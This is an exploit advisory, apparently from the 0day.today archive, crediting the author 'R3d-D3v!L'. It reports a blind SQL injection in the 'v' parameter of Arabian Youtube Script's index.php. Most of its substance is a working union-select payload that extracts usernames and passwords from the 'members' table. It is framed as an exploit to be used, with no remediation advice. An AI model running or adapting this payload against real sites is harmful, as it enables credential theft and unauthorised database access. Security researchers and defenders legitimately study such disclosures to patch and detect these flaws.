Arabian Youtube Script Blind SQL Injection Vulnerability

========================================================
Arabian Youtube Script Blind SQL Injection Vulnerability
========================================================

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-{In The Name Of Allah The Mercifull}-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
   
[~] Tybe: blind SQL Injection Vulnerabilities 
[~] Vendor: www.4smart.net
[+] Software: arabian youtube script
[+] author: ((R3d-D3v!L)) 
[~] 
[+] TEAM: Xp10_hACKEr
[~] 
[?] contact: X[at]hotmail.co.jp 
[-] 
[?] Date: 15.nov.2010 
[?] T!ME: 03:04 am CMT 
[?] Home: WwW.XP10.COM             
[^]© Xp10_hAcKEr 
[?] 
     
====================================================================================== 
# SQL Injection #     index.php v=
====================================================================================== 
[*] Err0r C0N50L3: 
http://127.0.0.1/clip/index.php?v=   {EV!L EXPLO!T} 
     
[*] prove of concept  = {EV!L EXPLO!T}  =
   
 www.Xp10.CoM/clip/index.php?v=11+and+1=0+union+select+1,concat%28uname,passwd%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+members--  
  


#  0day.today [2018-04-01]  #